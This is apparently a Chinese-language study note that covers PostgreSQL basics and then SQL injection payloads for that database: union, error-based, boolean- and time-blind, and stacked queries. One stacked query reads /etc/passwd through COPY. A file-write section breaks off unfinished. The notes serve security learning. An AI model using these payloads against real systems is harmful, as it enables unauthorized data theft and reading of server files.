端口号:5432
下载
window下启动,切换到postgresql的bin目录下
1 | initdb.exe -D ../data |
就会显示启动了
linux下启动
1 | sudo -i -u postgres |
以下测试都是linux下测试
基础语法
1 | \l --查看所有数据库 |
创建数据库
1 | create database test |
查看所有数据库
1 | \l #(list) |
创建表
1 | CREATE TABLE users( |
查看表格\d
查看表格信息\d tablename
,这个只是查看表的信息,不是看表的内容,表的内容还是需要select * from users
1 | test=# \d users |
删除表
drop table tablename
插入数据
1 | insert into users (id,Name,Password) values (1,'admin','admin'); |
数据如果string单引号''
包裹
运算符
运算符 | 描述 | 实例 |
---|---|---|
+ | 加 | a + b 结果为 5 |
- | 减 | a - b 结果为 -1 |
* | 乘 | a * b 结果为 6 |
/ | 除 | b / a 结果为 1 |
% | 模(取余) | b % a 结果为 1 |
^ | 指数 | a ^ b 结果为 8 |
|/ | 平方根 | |/ 25.0 结果为 5 |
||/ | 立方根 | ||/ 27.0 结果为 3 |
! | 阶乘 | 5 ! 结果为 120 |
!! | 阶乘(前缀操作符) | !! 5 结果为 120 |
后面这几个比较特殊和mysql有点不太一样
这里还有一个比较特别的||
这个在mysql中一般是or的含义,但是postgresql中||
是连接符
1 | select id||name||password from public.users; |
where和mysql一样
查看当前数据库
1 | select current_database(); |
查看当前用户
1 | select current_user; |
注入部分
postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派。
基础的类似
1 | id = 1' and '1'='1 #and -> or |
这里尝试测试字段数,只能通过order by
来测试,postgresql数据库没有#
作为注释
1 | ?uid=1 order by 1,2,3 #运行正常 |
这里需要注意的一点是postgresql使用数字1,2,3
和mysql数据库有点不同,所以如果只需要占位就用NULL
就好了
联合注入
获取模式名称(schemaname)
1 | select * from users where id=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables-- |
获取数据库名
1 | select * from users where id=1 UNION SELECT NULL,current_database(),NULL-- |
查询表名(稍微有点不同),大体结构相同
1 | select * from users where id=0 UNION SELECT NULL,tablename,NULL FROM pg_tables where schemaname in ('public')-- |
获取字段名
可以查一下官方文档的系统目录(9.5之前叫系统表)
这里我查看了官方文档,我看的是10的版本只有pg_stats、pg_attribute两个表中有attname(字段名)
,
pg_attribute表中无schemaname
、tablename
这类可以直接联系的,只能通过join来连接,这里是sqlmap里面的payload化简
1 | select * from users where id=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='tbuser' AND nspname='public'-- |
relname name 表、索引、视图等的名字 #来自pg_class表
nspname name 名字空间的名字 #来自pg_namespace表
pg_stats中有这两个字段
这样导致我们只能在能使用堆叠注入多语句的时候才能使用,这里应该放在堆叠注入,但是万一如果这个数据库已经执行过analyze
,这里不就可以用了是吧
最后查询字段数据
1 | select id||','||name||','||password from public.users; |
报错
获取版本号:
cast函数
转换类型
1 | select * from xxx where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC) |
这里看一下基本语法
1 | version()::text #数据类型转换为text类型 |
这里得到的version()转换成数字类型会导致报错,爆出version的具体数值
获取 Schemas 名称
1 | select * from xxx where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC) |
这里的pg_tables是视图,视图pg_tables
提供对数据库中每个表的信息的访问
这里感觉比较有用的是schemaname(包含表的模式名)、tablename(表名)、tableowner表的拥有者
1 | test=# select tablename FROM pg_tables limit 1; |
这里的limit也和mysql有点不同,只需要一个limit 1
就可以
boolean盲注
1 | case when 判断语句 then 正确返回结果 else 错误返回结果 end |
1 | select * from users where id=1 and 1=(case when ascii(substr(password,1,1))=97 then 1 ELSE 0 END); |
时间盲注
基于时间的盲注(time-based blind)
1 | AND 6489=(SELECT 6489 FROM PG_SLEEP(5)) |
roar2020
1 | admin'/**/and/**/1=(case/**/when/**/ascii(substr(password,{},1))={}/**/then/**/(select/**/1/**/from/**/pg_sleep(10))/**/ELSE/**/1/**/END)-- |
本机
1 | select * from users where id=1 and 1=(case when ascii(substr(password,1,1))=97 then (select 1 from pg_sleep(10)) ELSE 1 END); |
堆叠
基于堆叠查询(多语句查询,stacked queries)
1 | ?uid=1;select PG_SLEEP(5)-- |
pg_stats中有这两个字段
这样导致我们只能在能使用堆叠注入多语句的时候才能使用,这里应该放在堆叠注入
参考信安之路
读文件
1 | ;CREATE TABLE passwd(t TEXT);COPY passwd FROM '/etc/passwd';SELECT NULL,t,NULL FROM passwd; |
写文件
- 绝对路径
- 有写入权限
1 | DROP TABLE pwn; #当然这里是之前有这个table所以先删除一下 |